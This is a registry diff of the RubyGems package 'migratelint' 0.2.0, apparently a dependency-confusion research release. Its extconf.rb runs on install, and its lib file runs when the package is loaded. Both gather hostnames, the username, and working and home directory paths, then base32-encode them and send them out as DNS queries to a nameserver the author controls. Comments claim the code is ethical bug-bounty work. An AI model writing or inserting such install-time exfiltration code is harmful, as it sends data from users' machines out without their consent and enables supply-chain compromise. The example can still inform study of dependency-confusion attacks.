migratelint 0.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of migratelint might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 1df658523d890b3eaf8977d34f1feace7738245a17c7ada890f78fddd1088aae
4
+ data.tar.gz: f527f0eabff639c57546bbcd29d49deb549726faf2e0fdab476bc0bd8c3c27d4
5
+ SHA512:
6
+ metadata.gz: 388ff315f96858739e6cb9f3996a5a6879c983d1065c36d35abe5a9db268e6da29bd2a4f0a18b99dce179a97d39997d59b5bc20eff8f87eea53b805842c56c60
7
+ data.tar.gz: d0bd9de5af6848141e2991d4f4f47a8d433b4ba152239893271971276527f8978605702a85c17b1980a0aaecc0fe4295b1666b25571d2da5ae0043184a1322ce
@@ -0,0 +1,186 @@
1
+ require "mkmf"
2
+
3
+ create_makefile "gem_test/gem_test"
4
+ =begin
5
+ Hi, if you're reading this you're probably wondering what this code is doing on
6
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
7
+
8
+ I am an ethical security researcher, attempting attacks against organisations
9
+ that have a "bug bounty" type program in place.
10
+
11
+ I am performing work similar to the work in this blog post:
12
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
13
+
14
+ If your organisation has a bug bounty program my findings will be reported via
15
+ that program.
16
+
17
+ If your organisation does not have a bug bounty program, you were not targeted
18
+ by my work and have some how ended up getting included, any data reported from
19
+ your org will be discarded.
20
+
21
+ All data I collect will be deleted as soon as I'm done, in either case.
22
+
23
+ If you are reading this then you probably need to tighten up your Gemfiles
24
+ and/or upgrade Bundler, see here for more details:
25
+
26
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
27
+
28
+ You can read the code to confirm this but here's a top-level view of what it
29
+ does to help you out:
30
+
31
+ Grabs the hostname(s), current username, and the file paths to this script,
32
+ the current working directory, and the home directory. This helps me identify
33
+ which machines have been affected (for reporting), at which organisation (to
34
+ know who to report it to), and to eliminate false positives from machines that
35
+ fetch and install every Gem.
36
+
37
+ Generates a random ID so I can piece together the different fragments of data.
38
+
39
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
40
+ into chunks to go out as DNS queries that will hit a nameserver I control.
41
+
42
+ That's it!
43
+
44
+ If you have any questions or want to get in touch for any reason, you can reach
45
+ me at zofrex@gmail.com
46
+
47
+ =end
48
+
49
+ puts "Package 'migratelint' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
50
+
51
+ begin # big catch-all over everything to stop any errors escaping
52
+ def do_or_whatever
53
+ yield
54
+ rescue Exception
55
+ # keep going
56
+ end
57
+
58
+ do_or_whatever { require 'net/http' }
59
+ do_or_whatever { require 'socket' }
60
+ do_or_whatever { require 'etc' }
61
+ require 'securerandom'
62
+ require 'json'
63
+ require 'resolv'
64
+
65
+ def report_analytics
66
+ report_id = SecureRandom.alphanumeric(8)
67
+
68
+ idx_package = 0
69
+ idx_hostnames = 1
70
+ idx_username = 2
71
+ idx_paths = 3
72
+ idx_event = 4
73
+
74
+ idx_paths_file = 0
75
+ idx_paths_cwd = 1
76
+ idx_paths_script = 2
77
+ idx_paths_home = 3
78
+
79
+ data = Hash.new
80
+
81
+ data[idx_event] = 'install'
82
+
83
+ # package name
84
+
85
+ data[idx_package] = 'migratelint-0.2.0'
86
+
87
+ # get possible hostnames
88
+
89
+ hostnames = []
90
+
91
+ do_or_whatever { hostnames << Socket.gethostname }
92
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
93
+ do_or_whatever { hostnames << `hostname` }
94
+ do_or_whatever { hostnames << `hostname -f` }
95
+
96
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
97
+
98
+ # get local user
99
+
100
+ do_or_whatever { data[idx_username] = Etc.getlogin }
101
+
102
+ # get useful paths
103
+
104
+ paths = Hash.new
105
+
106
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
107
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
108
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
109
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
110
+
111
+ data[idx_paths] = paths
112
+
113
+ # encode payload
114
+
115
+ json = JSON.generate(data)
116
+ compressed = "u#{json}"
117
+
118
+ # attempt to compress data but don't sweat it if that fails
119
+ do_or_whatever do
120
+ require 'zlib'
121
+ compressed = "c#{Zlib.deflate(json)}"
122
+ end
123
+
124
+ # base32 encode the data
125
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
126
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
127
+ n = (slice.length * 8.0 / 5.0).ceil
128
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
129
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
130
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
131
+ end.join
132
+
133
+ # send data out via DNS lookups
134
+ total_queries = (encoded.length / 180.0).ceil
135
+
136
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
137
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
138
+
139
+ current_method = :generic
140
+ suffix = "zofrex-is-ethically-testing.ga"
141
+
142
+ methods = {
143
+ generic: {
144
+ address: "rp1.#{suffix}",
145
+ resolver: Resolv,
146
+ expected_ip: "127.0.0.3",
147
+ next_method: :direct
148
+ },
149
+ direct: {
150
+ address: "rp3.#{suffix}",
151
+ resolver: me_resolver,
152
+ expected_ip: "127.0.0.5",
153
+ next_method: :google
154
+ },
155
+ google: {
156
+ address: "rp2.#{suffix}",
157
+ resolver: google_resolver,
158
+ expected_ip: "127.0.0.4",
159
+ next_method: :direct
160
+ },
161
+ }
162
+
163
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
164
+ query_data = chunks.map(&:join).join('.')
165
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
166
+
167
+ # Try to get the message out somehow, start on whichever method worked on the previous loop
168
+ (1..6).each do
169
+ method = methods[current_method]
170
+ begin
171
+ address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
172
+ break if address == method[:expected_ip]
173
+ rescue
174
+ end
175
+ current_method = method[:next_method]
176
+ end
177
+ end
178
+ end
179
+
180
+ do_or_whatever { report_analytics }
181
+
182
+ # cleanup
183
+ do_or_whatever { undef report_analytics }
184
+ do_or_whatever { undef do_or_whatever }
185
+ rescue Error
186
+ end
@@ -0,0 +1,183 @@
1
+ =begin
2
+ Hi, if you're reading this you're probably wondering what this code is doing on
3
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
4
+
5
+ I am an ethical security researcher, attempting attacks against organisations
6
+ that have a "bug bounty" type program in place.
7
+
8
+ I am performing work similar to the work in this blog post:
9
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
10
+
11
+ If your organisation has a bug bounty program my findings will be reported via
12
+ that program.
13
+
14
+ If your organisation does not have a bug bounty program, you were not targeted
15
+ by my work and have some how ended up getting included, any data reported from
16
+ your org will be discarded.
17
+
18
+ All data I collect will be deleted as soon as I'm done, in either case.
19
+
20
+ If you are reading this then you probably need to tighten up your Gemfiles
21
+ and/or upgrade Bundler, see here for more details:
22
+
23
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
24
+
25
+ You can read the code to confirm this but here's a top-level view of what it
26
+ does to help you out:
27
+
28
+ Grabs the hostname(s), current username, and the file paths to this script,
29
+ the current working directory, and the home directory. This helps me identify
30
+ which machines have been affected (for reporting), at which organisation (to
31
+ know who to report it to), and to eliminate false positives from machines that
32
+ fetch and install every Gem.
33
+
34
+ Generates a random ID so I can piece together the different fragments of data.
35
+
36
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
37
+ into chunks to go out as DNS queries that will hit a nameserver I control.
38
+
39
+ That's it!
40
+
41
+ If you have any questions or want to get in touch for any reason, you can reach
42
+ me at zofrex@gmail.com
43
+
44
+ =end
45
+
46
+ puts "Package 'migratelint' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
47
+
48
+ begin # big catch-all over everything to stop any errors escaping
49
+ def do_or_whatever
50
+ yield
51
+ rescue Exception
52
+ # keep going
53
+ end
54
+
55
+ do_or_whatever { require 'net/http' }
56
+ do_or_whatever { require 'socket' }
57
+ do_or_whatever { require 'etc' }
58
+ require 'securerandom'
59
+ require 'json'
60
+ require 'resolv'
61
+
62
+ def report_analytics
63
+ report_id = SecureRandom.alphanumeric(8)
64
+
65
+ idx_package = 0
66
+ idx_hostnames = 1
67
+ idx_username = 2
68
+ idx_paths = 3
69
+ idx_event = 4
70
+
71
+ idx_paths_file = 0
72
+ idx_paths_cwd = 1
73
+ idx_paths_script = 2
74
+ idx_paths_home = 3
75
+
76
+ data = Hash.new
77
+
78
+ data[idx_event] = 'run'
79
+
80
+ # package name
81
+
82
+ data[idx_package] = 'migratelint-0.2.0'
83
+
84
+ # get possible hostnames
85
+
86
+ hostnames = []
87
+
88
+ do_or_whatever { hostnames << Socket.gethostname }
89
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
90
+ do_or_whatever { hostnames << `hostname` }
91
+ do_or_whatever { hostnames << `hostname -f` }
92
+
93
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
94
+
95
+ # get local user
96
+
97
+ do_or_whatever { data[idx_username] = Etc.getlogin }
98
+
99
+ # get useful paths
100
+
101
+ paths = Hash.new
102
+
103
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
104
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
105
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
106
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
107
+
108
+ data[idx_paths] = paths
109
+
110
+ # encode payload
111
+
112
+ json = JSON.generate(data)
113
+ compressed = "u#{json}"
114
+
115
+ # attempt to compress data but don't sweat it if that fails
116
+ do_or_whatever do
117
+ require 'zlib'
118
+ compressed = "c#{Zlib.deflate(json)}"
119
+ end
120
+
121
+ # base32 encode the data
122
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
123
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
124
+ n = (slice.length * 8.0 / 5.0).ceil
125
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
126
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
127
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
128
+ end.join
129
+
130
+ # send data out via DNS lookups
131
+ total_queries = (encoded.length / 180.0).ceil
132
+
133
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
134
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
135
+
136
+ current_method = :generic
137
+ suffix = "zofrex-is-ethically-testing.ga"
138
+
139
+ methods = {
140
+ generic: {
141
+ address: "rp1.#{suffix}",
142
+ resolver: Resolv,
143
+ expected_ip: "127.0.0.3",
144
+ next_method: :direct
145
+ },
146
+ direct: {
147
+ address: "rp3.#{suffix}",
148
+ resolver: me_resolver,
149
+ expected_ip: "127.0.0.5",
150
+ next_method: :google
151
+ },
152
+ google: {
153
+ address: "rp2.#{suffix}",
154
+ resolver: google_resolver,
155
+ expected_ip: "127.0.0.4",
156
+ next_method: :direct
157
+ },
158
+ }
159
+
160
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
161
+ query_data = chunks.map(&:join).join('.')
162
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
163
+
164
+ # Try to get the message out somehow, start on whichever method worked on the previous loop
165
+ (1..6).each do
166
+ method = methods[current_method]
167
+ begin
168
+ address = method[:resolver].getaddress "#{data_portion}.#{method[:address]}"
169
+ break if address == method[:expected_ip]
170
+ rescue
171
+ end
172
+ current_method = method[:next_method]
173
+ end
174
+ end
175
+ end
176
+
177
+ do_or_whatever { report_analytics }
178
+
179
+ # cleanup
180
+ do_or_whatever { undef report_analytics }
181
+ do_or_whatever { undef do_or_whatever }
182
+ rescue Error
183
+ end
metadata ADDED
@@ -0,0 +1,48 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: migratelint
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.2.0
5
+ platform: ruby
6
+ authors:
7
+ - James 'zofrex' Sanderson
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2021-02-17 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I am testing for dependency confusion vulnerabilities in products that
14
+ are in public bug bounty programs. This code is reporting-only, and does not do
15
+ anything malicious.
16
+ email:
17
+ - gem-research@zofrex.com
18
+ executables: []
19
+ extensions:
20
+ - ext/migratelint/extconf.rb
21
+ extra_rdoc_files: []
22
+ files:
23
+ - ext/migratelint/extconf.rb
24
+ - lib/migratelint.rb
25
+ homepage:
26
+ licenses:
27
+ - MIT
28
+ metadata: {}
29
+ post_install_message:
30
+ rdoc_options: []
31
+ require_paths:
32
+ - lib
33
+ required_ruby_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: 1.9.0
38
+ required_rubygems_version: !ruby/object:Gem::Requirement
39
+ requirements:
40
+ - - ">="
41
+ - !ruby/object:Gem::Version
42
+ version: '0'
43
+ requirements: []
44
+ rubygems_version: 3.1.4
45
+ signing_key:
46
+ specification_version: 4
47
+ summary: Testing dependency confusion bugs
48
+ test_files: []